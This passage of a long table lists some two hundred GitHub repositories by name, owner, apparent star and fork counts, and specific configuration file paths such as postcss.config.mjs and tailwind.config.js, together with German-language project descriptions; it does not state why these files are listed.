Hackathon. | | | 34 | Karigar-App/Karigar | Karigar-App | Organization | 0 | 0 | 1 | packages/ui/postcss.config.mjs | | | | 35 | sparktechagency/silicon-zisan-website | sparktechagency | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 36 | FSDTeam-SAA/hinkel-Website | FSDTeam-SAA | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 37 | FSDTeam-SAA/iwmsadvisors | FSDTeam-SAA | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 38 | Umbrelabs-Projects/Hostella-admin | Umbrelabs-Projects | Organization | 0 | 0 | 1 | postcss.config.mjs | Hostella Admin-Plattform | | | 39 | Umbrelabs-Projects/Hostella-stu | Umbrelabs-Projects | Organization | 0 | 0 | 1 | postcss.config.mjs | Hostella Studenten-Wohnheim-Buchungsplattform | | | 40 | iwb25-412-vertex-prime/apigateway-v1 | iwb25-412-vertex-prime | Organization | 0 | 0 | 1 | userportal/postcss.config.mjs | Benutzerportal + Verwaltungsebene | Kontingentverwaltung, Regelüberwachung, API-Schlüsselvalidierung. | | | 41 | Cloudrika/cloudrika-web | Cloudrika | Organization | 0 | 0 | 2 | packages/ui/postcss.config.mjs | apps/email-portal/next.config.mjs | | | | 42 | sparktechagency/consult_dashboard | sparktechagency | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 43 | sparktechagency/jonowoods-website | sparktechagency | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 44 | Softvence-Omega-Dev-Ninjas/diaz-jupiter-marine-frontend | Softvence-Omega-Dev-Ninjas | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 45 | sparktechagency/profitable-website-v2 | sparktechagency | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 46 | musetax/Amus-fe | musetax | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 47 | sparktechagency/faceAi-front-end | sparktechagency | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 48 | sparktechagency/any-job-dashboard | sparktechagency | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 49 | sparktechagency/anyjob-web | sparktechagency | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 50 | softvence-omega-future-stack/lawalx_frontend | softvence-omega-future-stack | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 51 | softvence-omega-future-stack/kilian-rodhe-last- | softvence-omega-future-stack | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 52 | WeOwnNetwork/EthDenver-submission | WeOwnNetwork | Organization | 0 | 0 | 1 | apps/web/postcss.config.mjs | Aufbau der #FedArch-Orchestrierungsinfrastruktur mit Onchain-Agenten-Registry. Einreichung für den ETHDenver 2026 Hackathon | | | 53 | sparktechagency/betopia-website | sparktechagency | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 54 | FlowRMSLabs/flowdemandwebsite | FlowRMSLabs | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 55 | BhavikPatel-dreamz/wove-gift-portal | BhavikPatel-dreamz | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 56 | BhavikPatel-dreamz/DynamicDreamz-AIagent-Demos | BhavikPatel-dreamz | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 57 | GARAGE-POS/nextjs_test | GARAGE-POS | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 58 | BhavikPatel-dreamz/Homeopathway | BhavikPatel-dreamz | Organization | 0 | 0 | 1 | postcss.config.mjs | Homeopathway | | | 59 | digitalschool-tech/tech-static | digitalschool-tech | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 60 | tricodenetwork/lock-up | tricodenetwork | Organization | 0 | 0 | 1 | frontend/postcss.config.mjs | | | | 61 | Sahl-AI/sahl-ai-iframe | Sahl-AI | Organization | 0 | 0 | 1 | tailwind.config.js | Dies enthält die Demo-React-App zum Testen des Iframe-Ansatzes | | | 62 | dawahanigeria-team/domainping | dawahanigeria-team | Organization | 0 | 0 | 1 | frontend/tailwind.config.js | | | | 63 | shahid538org/microrealestate | shahid538org | Organization | 0 | 0 | 1 | webapps/landlord/tailwind.config.js | | | | 64 | orynth-dev/vite-shadcn-template | orynth-dev | Organization | 0 | 0 | 1 | tailwind.config.js | | | | 65 | FlowBondTech/egator | FlowBondTech | Organization | 0 | 0 | 1 | apps/web/tailwind.config.js | AIeGator – KI-gestützte Ereignisaggregations-Engine (ETHDenver via Luma) | | | 66 | sparktechagency/u_tee_hub | sparktechagency | Organization | 0 | 0 | 1 | tailwind.config.js | | | | 67 | Enigma-Incorporated-Ltd/N0DE-Website | Enigma-Incorporated-Ltd | Organization | 0 | 0 | 2 | tailwind.config.js | src/tailwind.config.js | | | | 68 | FSDTeam-SAA/AMES_Investment_new | FSDTeam-SAA | Organization | 0 | 0 | 1 | tailwind.config.js | | | | 69 | Frontier-tech-consulting/olas-mcp-application-workflow | Frontier-tech-consulting | Organization | 0 | 0 | 1 | docs/tailwind.config.js | Dies besteht aus dem entsprechenden UI-Mockup-Workflow bezüglich des Olas-Ökosystems (damit Benutzer die MCP-Anwendung für Onchain-Interaktionen ausführen können). | | | 70 | Softvence-Omega-Dev-Ninjas/vic_pec_server_app | Softvence-Omega-Dev-Ninjas | Organization | 0 | 0 | 1 | eslint.config.mjs | | | | 71 | Softvence-Omega-Dev-Ninjas/jdadzok_server | Softvence-Omega-Dev-Ninjas | Organization | 0 | 0 | 1 | eslint.config.mjs | | | | 72 | Binary-Mindz/agimtula_server | Binary-Mindz | Organization | 0 | 0 | 1 | eslint.config.mjs | | | | 73 | Softvence-Omega-Dev-Ninjas/alvaaro-server | Softvence-Omega-Dev-Ninjas | Organization | 0 | 0 | 1 | eslint.config.mjs | | | | 74 | Softvence-Omega-Cyber-Monk/nishant-server | Softvence-Omega-Cyber-Monk | Organization | 0 | 0 | 1 | eslint.config.mjs | | | | 75 | softvence-omega-future-stack/huss-be | softvence-omega-future-stack | Organization | 0 | 0 | 1 | eslint.config.mjs | | | | 76 | BhavikPatel-dreamz/Products-filters-react | BhavikPatel-dreamz | Organization | 0 | 0 | 1 | src/App.js | | | | 77 | Victorola-coder/tewo | Victorola-coder | User | 9 | 6 | 1 | tailwind.config.js | tewosimi boboyi, ebi n pami | | | 78 | Atik203/Scholar-Flow | Atik203 | User | 4 | 4 | 1 | apps/frontend/postcss.config.mjs | ScholarFlow ist eine SaaS-Plattform für Forscher, Studenten, Professoren und akademische Teams, um Forschungspapiere mit Sammlungen, Annotationen, Suche und Teamzusammenarbeit in einer gemeinsamen Forschungsbibliothek hochzuladen, zu organisieren und zu überprüfen. | | | 79 | Kreliannn/Document-Request-System-FRONTEND | Kreliannn | User | 8 | 1 | 1 | postcss.config.mjs | Ein webbasiertes System, das es Bewohnern ermöglicht, Barangay-Dokumente online anzufordern, ohne das Barangay-Büro aufsuchen zu müssen. Bewohner können den Status ihrer Anfrage verfolgen, E-Mail-Benachrichtigungen erhalten und den Anforderungsverlauf einsehen. Der Barangay-Administrator kann Anfragen verwalten, Status aktualisieren und den Transaktionsverlauf verfolgen. | | | 80 | coderkhalide/Anti-Detect-Browser | coderkhalide | User | 2 | 4 | 1 | src/renderer/tailwind.config.js | | | | 81 | WeerasingheMSC/ASMS_Frontend | WeerasingheMSC | User | 1 | 4 | 1 | asms_frontend/postcss.config.mjs | Full-Stack-Automobil-Service-Zeiterfassungs- und Terminsystem, erstellt mit Next.js, TypeScript, TailwindCSS und Ant Design für das Frontend. Beinhaltet Kunden- und Mitarbeiterportale, Echtzeit-Serviceverfolgung, Terminbuchung, Zeiterfassung und containerisierte Bereitstellung. | | | 82 | fsdteam8/n_Krypted-frontend | fsdteam8 | User | 0 | 4 | 1 | postcss.config.mjs | | | | 83 | tanushbhootra576/Bionary-Website-Challenge-and-final | tanushbhootra576 | User | 4 | 2 | 1 | bionary_website/tailwind.config.js | | | | 84 | Kreliannn/PDF-To-Reviewer-Quiz-FRONTEND | Kreliannn | User | 7 | 0 | 1 | postcss.config.mjs | Eine Web-App, die KI nutzt, um PDF-Dateien in Frage-Antwort-Prüfungsvorbereitungen umzuwandeln. Der Benutzer kann die generierte Ausgabe vor dem Speichern anpassen. Der Benutzer kann die gespeicherte, KI-generierte Prüfungsvorbereitung überprüfen und anpassbare Tests absolvieren. | | | 85 | tanushbhootra576/collegeConnect | tanushbhootra576 | User | 5 | 1 | 1 | postcss.config.mjs | | | | 86 | brown2020/ikigaifinder | brown2020 | User | 4 | 1 | 1 | postcss.config.mjs | | | | 87 | Kreliannn/commision_portfolio | Kreliannn | User | 6 | 0 | 1 | postcss.config.mjs | | | | 88 | coderkhalide/Trading-Journal | coderkhalide | User | 4 | 1 | 1 | postcss.config.mjs | Professionelles Trading-Journal, um Ihre Trading-Leistung über verschiedene Systeme und Zeitrahmen hinweg zu verfolgen, zu analysieren und zu verbessern. | | | 89 | tanushbhootra576/weather | tanushbhootra576 | User | 4 | 1 | 1 | postcss.config.mjs | Hackathon-Projekt | | | 90 | Kreliannn/student-passed-rate-analysis-frontend | Kreliannn | User | 5 | 0 | 1 | postcss.config.mjs | | | | 91 | Kreliannn/pharmacy-management-frontend | Kreliannn | User | 5 | 0 | 1 | postcss.config.mjs | | | | 92 | Kreliannn/Employee-management-frontend | Kreliannn | User | 5 | 0 | 1 | postcss.config.mjs | | | | 93 | Kreliannn/e-commerce-frontend | Kreliannn | User | 5 | 0 | 1 | postcss.config.mjs | | | | 94 | umarabid123/The_INTERNET_OF_AGENTS_HACKATHON | umarabid123 | User | 1 | 2 | 1 | frontend/postcss.config.mjs | | | | 95 | ahmadraza382/FinanceAi | ahmadraza382 | User | 3 | 1 | 1 | tailwind.config.js | Finance AI Coach | | | 96 | tanushbhootra576/turbo-happiness | tanushbhootra576 | User | 4 | 0 | 1 | postcss.config.mjs | | | | 97 | shaheeer-dev/sketchers | shaheeer-dev | User | 0 | 2 | 1 | postcss.config.mjs | | | | 98 | tanushbhootra576/game | tanushbhootra576 | User | 4 | 0 | 1 | postcss.config.mjs | | | | 99 | tanushbhootra576/GridSaga | tanushbhootra576 | User | 4 | 0 | 1 | postcss.config.mjs | | | | 100 | senulahesara/devkit | senulahesara | User | 2 | 1 | 1 | postcss.config.mjs | Wesentliche Werkzeuge, blitzschnelle Leistung und offline-fähige Funktionen – entwickelt, um Ihren Workflow zu optimieren und Sie auf das zu konzentrieren, was zählt: großartigen Code zu schreiben. | | | 101 | tanushbhootra576/week3-forms-and-inputs | tanushbhootra576 | User | 4 | 0 | 1 | postcss.config.mjs | | | | 102 | tanushbhootra576/PW-app | tanushbhootra576 | User | 4 | 0 | 1 | postcss.config.mjs | | | | 103 | tanushbhootra576/RESTRO | tanushbhootra576 | User | 4 | 0 | 1 | tailwind.config.js | | | | 104 | tanushbhootra576/MoodSync | tanushbhootra576 | User | 4 | 0 | 1 | App.js | | | | 105 | Amanbanti/Capstone | Amanbanti | User | 1 | 1 | 1 | frontend/postcss.config.mjs | Das Capstone-Projekt ist eine abschließende akademische und praktische Erfahrung für Studenten sowohl in den Studiengängen Software Engineering (SE) als auch Computer Science and Engineering (CSE). | | | 106 | ShifaLabs/shifa | ShifaLabs | User | 1 | 1 | 1 | postcss.config.mjs | Shefa ist eine webbasierte Telemedizinplattform, die es Patienten ermöglicht, verifizierte Ärzte über Echtzeit-In-App-Videoanrufe zu konsultieren, digitale Rezepte zu erhalten und ihre Gesundheitsversorgung aus der Ferne in einer sicheren und professionellen Umgebung zu verwalten. Dies ist ein einsatzbereites System in Produktionsqualität, keine Demo oder akademische Attrappe. | | | 107 | SouravDn-p/mobile-canvas-nextjs | SouravDn-p | User | 1 | 1 | 1 | postcss.config.mjs | MobileCanvas ist eine moderne Full-Stack-E-Commerce-Plattform, die auf den Verkauf von Gadgets und mobilen Geräten spezialisiert ist. Mit Next.js, Redux Toolkit und MongoDB bietet es ein sicheres, responsives und nahtloses Einkaufserlebnis für Benutzer und leistungsstarke Verwaltungstools für Admins. | | | 108 | RinSanom/IoTWeb | RinSanom | User | 1 | 1 | 1 | postcss.config.mjs | | | | 109 | kanchana404/Google-bussiness-api-Get-reviews-and-Reply-reviews | kanchana404 | User | 1 | 1 | 1 | postcss.config.mjs | | | | 110 | Salman1205/MailAssist | Salman1205 | User | 1 | 1 | 1 | postcss.config.mjs | KI-gestützte Kundensupport-Plattform mit Gmail-Integration, intelligentem Ticketing, automatischen Antworten, Shopify-Integration und Echtzeit-Teamzusammenarbeit | | | 111 | Yassin-Younis/bypass-in-app-browser | Yassin-Younis | User | 3 | 0 | 1 | next.config.mjs | Umgehen Sie In-App-Browser aus Social-Media-Apps wie Instagram, Facebook, TikTok und mehr. Senden Sie Benutzer in ihren nativen Browser, wenn sie auf Ihre Social-Media-Anzeigen klicken, um das Engagement, die genaue Verfolgung zu verbessern und die Konversionsraten zu steigern. | | | 112 | Lithira-Silva/TrueClaim---ITPM- | Lithira-Silva | User | 2 | 0 | 1 | client/postcss.config.mjs | TrueClaim – Ein intelligentes Anspruchsverwaltungssystem, das als ITPM-Projekt an der SLIIT (3. Jahr, 2. Semester) entwickelt wurde. Mit dem MERN-Stack entwickelt, um den Versicherungsanspruchsprozess präzise und effizient zu optimieren und zu automatisieren. | | | 113 | maaz-bin-hassan/sahoolat-web-new | maaz-bin-hassan | User | 2 | 0 | 1 | postcss.config.mjs | | | | 114 | Pramadu2001/ITPM_MODUS | Pramadu2001 | User | 0 | 1 | 1 | my-app/postcss.config.mjs | IT-Projektmanagement-Projekt des 3. Jahres, 2. Semesters, die MODUS-Lernplattform | | | 115 | abimtad/upload_file | abimtad | User | 0 | 1 | 1 | postcss.config.mjs | | | | 116 | anilgoswamistartbitsolutions/travel-platform | anilgoswamistartbitsolutions | User | 0 | 1 | 3 | sites/holidaydeals/postcss.config.mjs | travel_template/package/postcss.config.mjs | travel_template/old/postcss.config.mjs | | | | 117 | AhsanalyOfficial/ahsan_portfolio | AhsanalyOfficial | User | 0 | 1 | 1 | postcss.config.mjs | | | | 118 | HevenDev/rmw-new-design | HevenDev | User | 0 | 1 | 1 | postcss.config.mjs | | | | 119 | anilgoswamistartbitsolutions/travel-payload-sites | anilgoswamistartbitsolutions | User | 0 | 1 | 2 | sites/holidaydeals/postcss.config.mjs | sites/luxurytravels/postcss.config.mjs | | | | 120 | dhruvmalik007/solana-colossum-hackathon | dhruvmalik007 | User | 0 | 1 | 2 | apps/web/postcss.config.mjs | packages/ui/postcss.config.mjs | Aufbau eines Prognosemarktplatzes für die thematische Investmentplattform für nachhaltige Anlageportfolios | | | 121 | Tiewasters99/AI_Law_Wizard | Tiewasters99 | User | 0 | 1 | 1 | postcss.config.mjs | | | | 122 | coderkhalide/scalping-trading-tools | coderkhalide | User | 0 | 1 | 1 | postcss.config.mjs | Konfigurieren und bewerten Sie Ihre Trading-Einstiege mit gewichteten Faktoren, individueller Faktorenbewertung, Bonuspunkten und Buchstabennoten | | | 123 | monazahmed/Agrismart-project- | monazahmed | User | 0 | 1 | 1 | postcss.config.mjs | | | | 124 | Gowreesh-VT/SherlockIT | Gowreesh-VT | User | 0 | 1 | 1 | postcss.config.mjs | | | | 125 | webprogramminghack/b3-practice-30 | webprogramminghack | User | 0 | 1 | 1 | postcss.config.mjs | | | | 126 | Salman1205/Mail-Assist-CRM | Salman1205 | User | 2 | 0 | 1 | postcss.config.mjs | | | | 127 | AbdulwahidHusein/Shipper-chat | AbdulwahidHusein | User | 2 | 0 | 1 | frontend/postcss.config.mjs | | | | 128 | michelzappy/zappy-scratch-091225 | michelzappy | User | 0 | 1 | 1 | frontend/tailwind.config.js | | | | 129 | Ali-Hamas/Learn_Hub | Ali-Hamas | User | 0 | 1 | 1 | frontend/tailwind.config.js | LearnHub – Multi-Dozenten-Lernplattform mit FastAPI, React, MongoDB, Stripe-Zahlungen und KI-Tutor | | | 130 | VALENSAPP/coin_backend | VALENSAPP | User | 0 | 1 | 1 | eslint.config.mjs | Backend-Repository. | | | 131 | QaisarWaheed/Aluminum-POS | QaisarWaheed | User | 0 | 1 | 1 | eslint.config.mjs | | | | 132 | Abdulbasit219/UPSkaleAI | Abdulbasit219 | User | 1 | 0 | 1 | postcss.config.mjs | UP SKale AI APP für Studenten (Lernende) und (Verdiener) (FYP-Projekt) | | | 133 | Satyam3002/nextauth | Satyam3002 | User | 1 | 0 | 1 | postcss.config.mjs | | | | 134 | ahmadraza382/Hospital-management-system | ahmadraza382 | User | 1 | 0 | 1 | postcss.config.mjs | | | | 135 | AKDebug-UX/challengePR | AKDebug-UX | User | 1 | 0 | 1 | postcss.config.mjs | | | | 136 | Ruwanima/ella-south-star-frontend | Ruwanima | User | 1 | 0 | 1 | postcss.config.mjs | | | | 137 | ahmadraza382/Luxeurs-Shopping-Store | ahmadraza382 | User | 1 | 0 | 1 | postcss.config.mjs | | | | 138 | ahmadraza382/Portfolio | ahmadraza382 | User | 1 | 0 | 1 | postcss.config.mjs | | | | 139 | Ayesha-Siddiqui1234/katy-youth-hackathon-2025-dev-post- | Ayesha-Siddiqui1234 | User | 1 | 0 | 1 | frontend/postcss.config.mjs | Unser Team hat am Katy Youth Hackathon 2025 teilgenommen und wir entwickeln eine voll funktionsfähige Website mit integriertem Chatbot, die so etwas wie ein Karriereberater sein wird, der Studenten auf ihrem Karriereweg führt. | | | 140 | WimpyvL/Zappy-Health-Dashboard | WimpyvL | User | 1 | 0 | 1 | postcss.config.mjs | | | | 141 | ifedolapoomoniyi/fleet-robotics | ifedolapoomoniyi | User | 1 | 0 | 1 | postcss.config.mjs | | | | 142 | muhammad-tahir-sultan/rehman-fyp-nextjs-multivendor | muhammad-tahir-sultan | User | 1 | 0 | 1 | postcss.config.mjs | | | | 143 | vkrms/wizard | vkrms | User | 1 | 0 | 1 | postcss.config.mjs | React Multi-Step-Formular-Trainingsprojekt | | | 144 | Atik203/VocabPrep | Atik203 | User | 1 | 0 | 1 | frontend/postcss.config.mjs | Eine moderne, fokussierte Webanwendung, die Ihnen hilft, Ihren englischen Wortschatz durch interaktives Lernen, Übungseinheiten und Fortschrittsverfolgung aufzubauen und zu meistern. | | | 145 | web-ghoul/Portfolio | web-ghoul | User | 1 | 0 | 1 | postcss.config.mjs | Es enthält meine Projekte, meine Erfahrungen, meine Zertifikate, meine Kontaktdaten. | | | 146 | AbdulwahidHusein/ai-tools-directory | AbdulwahidHusein | User | 1 | 0 | 1 | postcss.config.mjs | | | | 147 | AhmadRazaKhokhar1/resturants-app | AhmadRazaKhokhar1 | User | 1 | 0 | 1 | postcss.config.mjs | | | | 148 | ishivamgaur/Ap-news-next-js | ishivamgaur | User | 1 | 0 | 1 | postcss.config.mjs | AP News ist eine auf Next.js basierende Nachrichten-Anwendung, die kategorisierte Nachrichteninhalte wie Politik, Sport, Technologie, Unterhaltung und Live-Updates mit schneller Leistung, SEO-Optimierung und Server-seitigem Rendering liefert. | | | 149 | amMubbasher/cleannami.ceenami-old | amMubbasher | User | 1 | 0 | 1 | postcss.config.mjs | | | | 150 | AbdulwahidHusein/crawler-dashboard | AbdulwahidHusein | User | 1 | 0 | 1 | postcss.config.mjs | | | | 151 | SouravDn-p/RexAuction | SouravDn-p | User | 1 | 0 | 1 | tailwind.config.js | Eine Echtzeit-Auktions-Webanwendung für Live-Gebotserlebnisse, die erweiterte Funktionen wie sofortige Aktualisierungen, intelligentes Bieten und Echtzeit-Kommunikation zwischen Benutzern kombiniert. | | | 152 | AKDebug-UX/interactive-tv-app | AKDebug-UX | User | 1 | 0 | 1 | tailwind.config.js | | | | 153 | usman-174/VidSpark | usman-174 | User | 1 | 0 | 1 | client/tailwind.config.js | | | | 154 | NatyJoseDie/proyecto-nginx | NatyJoseDie | User | 1 | 0 | 1 | eslint.config.mjs | | | | 155 | AKDebug-UX/DoneWithIt | AKDebug-UX | User | 1 | 0 | 1 | App.js | | | | 156 | dhruvmalik007/forensics-board | dhruvmalik007 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 157 | Rahulkumarhavit/ProStore-Ecommerce | Rahulkumarhavit | User | 0 | 0 | 1 | postcss.config.mjs | | | | 158 | Bart3kL/shopify-components | Bart3kL | User | 0 | 0 | 1 | polaris-components/postcss.config.mjs | | | | 159 | mjatin-dev/logic-zephyr | mjatin-dev | User | 0 | 0 | 1 | postcss.config.mjs | | | | 160 | umrasghar/heygen-demo | umrasghar | User | 0 | 0 | 1 | postcss.config.mjs | | | | 161 | thanhdanh111/challenge | thanhdanh111 | User | 0 | 0 | 2 | Problem-2/postcss.config.mjs | Problem-3/postcss.config.mjs | | | | 162 | hamza-nafasat/rentin-frontend | hamza-nafasat | User | 0 | 0 | 1 | postcss.config.mjs | | | | 163 | rejoan121615/ClientOps | rejoan121615 | User | 0 | 0 | 1 | frontend/postcss.config.mjs | ClientOps ist ein Full-Stack-Innenbetriebs-Dashboard, das für Agenturen und kleine Unternehmen entwickelt wurde, um Kunden, Projekte, Teammitglieder und Arbeitsabläufe sicher zu verwalten. | | | 164 | SouravDn-p/CMR | SouravDn-p | User | 0 | 0 | 1 | postcss.config.mjs | | | | 165 | EmanDeveloper/EasyTech | EmanDeveloper | User | 0 | 0 | 1 | postcss.config.mjs | | | | 166 | addis-ale/25-5-clock | addis-ale | User | 0 | 0 | 1 | postcss.config.mjs | | | | 167 | MSCPerera/Job-Board-App | MSCPerera | User | 0 | 0 | 1 | job-board-app/postcss.config.mjs | | | | 168 | Nathanim1919/nextjs-project | Nathanim1919 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 169 | TimothyBabatu13/AegisHealth-Smart | TimothyBabatu13 | User | 0 | 0 | 1 | aegis-health-smart/postcss.config.mjs | | | | 170 | Senti-fi/Senti.fi | Senti-fi | User | 0 | 0 | 1 | frontend/postcss.config.mjs | | | | 171 | Zentaurios/stable-monitor | Zentaurios | User | 0 | 0 | 1 | postcss.config.mjs | | | | 172 | SouravDn-p/Frontend-task | SouravDn-p | User | 0 | 0 | 1 | postcss.config.mjs | | | | 173 | Storaboy11/meerge | Storaboy11 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 174 | ahmedghonim/esraa | ahmedghonim | User | 0 | 0 | 1 | postcss.config.mjs | | | | 175 | vrunda310/AIA-VEGA-Frontend | vrunda310 | User | 0 | 0 | 1 | frontend/postcss.config.mjs | | | | 176 | emmanueldavidson96/popular_saas_product_landing_page | emmanueldavidson96 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 177 | pratikp72/deal-Project | pratikp72 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 178 | Al-amin07/file_sure | Al-amin07 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 179 | waris-ansar/finstar | waris-ansar | User | 0 | 0 | 1 | postcss.config.mjs | | | | 180 | MianHaziq/LKnight-Lms | MianHaziq | User | 0 | 0 | 1 | postcss.config.mjs | | | | 181 | pankajkhadse/TrustBasket | pankajkhadse | User | 0 | 0 | 1 | postcss.config.mjs | | | | 182 | adnaan-2/content-generation | adnaan-2 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 183 | malikjunaidhassann/seller-panel | malikjunaidhassann | User | 0 | 0 | 1 | postcss.config.mjs | | | | 184 | mdnuruzzamannirob/your-capture-awards-dashboard | mdnuruzzamannirob | User | 0 | 0 | 1 | postcss.config.mjs | | | | 185 | Minahil48/NY-caffine | Minahil48 | User | 0 | 0 | 1 | postcss.config.mjs | All Ihre Gelüste an einem Ort | | | 186 | FrazKhan1/dev-team-chat | FrazKhan1 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 187 | jrioscloud/financial-document-analyzer | jrioscloud | User | 0 | 0 | 1 | frontend/postcss.config.mjs | | | | 188 | seemab-ahmed/rodopi | seemab-ahmed | User | 0 | 0 | 1 | postcss.config.mjs | | | | 189 | JudeTejada/digital-pods | JudeTejada | User | 0 | 0 | 1 | postcss.config.mjs | | | | 190 | msuhels/RapidProject-Pos-System | msuhels | User | 0 | 0 | 1 | postcss.config.mjs | | | | 191 | Al-amin07/project_5_frontend | Al-amin07 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 192 | abdullah2310ishaq/afronaut | abdullah2310ishaq | User | 0 | 0 | 1 | postcss.config.mjs | | | | 193 | Jaskaran2701/Test-1 | Jaskaran2701 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 194 | Deepanshu7-bit/nugen-interns | Deepanshu7-bit | User | 0 | 0 | 1 | postcss.config.mjs | | | | 195 | saifullah-max/bublr | saifullah-max | User | 0 | 0 | 1 | postcss.config.mjs | | | | 196 | Meet2054/automa8x-production-new | Meet2054 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 197 | bharatbrovitech/india-to-germany | bharatbrovitech | User | 0 | 0 | 1 | postcss.config.mjs | | | | 198 | PremShakti/PanchangCalendar | PremShakti | User | 0 | 0 | 1 | postcss.config.mjs | | | | 199 | Pa-ppy/Checkout | Pa-ppy | User | 0 | 0 | 1 | postcss.config.mjs | | | | 200 | Atif-Hameed/als-admin | Atif-Hameed | User | 0 | 0 | 1 | postcss.config.mjs | | | | 201 | Dawit212119/Devodemy | Dawit212119 | User | 0 | 0 | 1 | postcss.config.mjs | Erstellen Sie ein LMS mit Nextjs, React, Stripe, Mux, Next App Router, Prisma, Stripe, MySQL, Docker, AWS Lambda, Redux Toolkit, Tailwind CSS, Shadcn, TypeScript, Zod, AWS S3, AWS CloudFront, Clerk, | | | 202 | SouravDn-p/NextManager-YourInventoryManager | SouravDn-p | User | 0 | 0 | 1 | postcss.config.mjs | Next.js Inventarverwaltung Ein Full-Stack-Inventarverwaltungssystem, erstellt mit Next.js 14 App Router, Tailwind CSS, MongoDB und Redux Toolkit (RTK Query). Diese App unterstützt sowohl soziale Authentifizierung über NextAuth.js (Google, GitHub) als auch traditionelle E-Mail/Passwort-Anmeldung mit JWT. | | | 203 | ranjannkumar/Token-Vesting-App | ranjannkumar | User | 0 | 0 | 1 | postcss.config.mjs | | | | 204 | Usamahafiz8/fetchdetails | Usamahafiz8 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 205 | freelancework00700/CRM-test-task | freelancework00700 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 206 | ahmadraza382/APIs-integration | ahmadraza382 | User | 0 | 0 | 1 | postcss.config.mjs | Daten von APIs abrufen, nur zum Üben und grob | | | 207 | akashmuhammadabrrar/Resume-builder-NextTypescript | akashmuhammadabrrar | User | 0 | 0 | 1 | postcss.config.mjs | | | | 208 | abimtad/Customer-feedback | abimtad | User | 0 | 0 | 1 | postcss.config.mjs | | | | 209 | SanjayaPrasadRajapaksha/Blog_App | SanjayaPrasadRajapaksha | User | 0 | 0 | 1 | postcss.config.mjs | | | | 210 | MunibQazi12/next-starter-template | MunibQazi12 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 211 | PremShakti/multi-tenet-school-profile-app | PremShakti | User | 0 | 0 | 1 | postcss.config.mjs | | | | 212 | mirzaghalib4726/committee-system-next | mirzaghalib4726 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 213 | ChiraniSiriwardhana/Spirit11 | ChiraniSiriwardhana | User | 0 | 0 | 1 | postcss.config.mjs | Ein sicheres und benutzerfreundliches Authentifizierungssystem | | | 214 | developerdesigner18/Frontend-Task | developerdesigner18 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 215 | noors-code/Account-Settings | noors-code | User | 0 | 0 | 1 | postcss.config.mjs | | | | 216 | finom/vovk-hello-world | finom | User | 0 | 0 | 1 | postcss.config.mjs | Vovk.ts Hello World App | | | 217 | Yashpreetrana4790/Bestvocabulary_platform | Yashpreetrana4790 | User | 0 | 0 | 1 | postcss.config.mjs | Vokabel-Lernwebsite | | | 218 | Atif-Hameed/unsigned-admin | Atif-Hameed | User | 0 | 0 | 1 | postcss.config.mjs | | | | 219 | saifullah-max/mandviwalla-mauser | saifullah-max | User | 0 | 0 | 1 | postcss.config.mjs | | | | 220 | Navoda001/Solana | Navoda001 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 221 | wolfstudiosai/braxx-frontend-v2 | wolfstudiosai | User | 0 | 0 | 1 | postcss.config.mjs | | | | 222 | cywasay/neorecruits- | cywasay | User | 0 | 0 | 1 | postcss.config.mjs | | | | 223 | raoarafat/steelh-website | raoarafat | User | 0 | 0 | 1 | postcss.config.mjs | | | | 224 | Qasim-dev/stock-tracker | Qasim-dev | User | 0 | 0 | 1 | postcss.config.mjs | | | | 225 | teresagrobecker/pensio_consortia | teresagrobecker | User | 0 | 0 | 1 | frontend/postcss.config.mjs | | | | 226 | umarabid123/Raise-Your-Hack | umarabid123 | User | 0 | 0 | 1 | frontend/postcss.config.mjs | | | | 227 | dhruvmalik007/xrpl_haks_hackathon_project | dhruvmalik007 | User | 0 | 0 | 1 | postcss.config.mjs | XRPL-Hack-Wettbewerbseinreichung: Entwicklung eines RAG-Agenten-Frameworks für Preisüberwachung und Market Making von Impact-Zertifikaten | | | 228 | addis-ale/EGA | addis-ale | User | 0 | 0 | 1 | postcss.config.mjs | | | | 229 | addis-ale/free_code_camp_task_01 | addis-ale | User | 0 | 0 | 1 | postcss.config.mjs | Free CodeCamp Front-End-Bibliotheken-Zertifizierungsaufgabe | | | 230 | addis-ale/gd-landing-page | addis-ale | User | 0 | 0 | 1 | postcss.config.mjs | | | | 231 | Al-amin07/purple-cat-client | Al-amin07 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 232 | Al-amin07/apparel-trade-bd | Al-amin07 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 233 | Al-amin07/hyshin | Al-amin07 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 234 | Al-amin07/web-programming-lab | Al-amin07 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 235 | mdnuruzzamannirob/relo-website | mdnuruzzamannirob | User | 0 | 0 | 1 | postcss.config.mjs 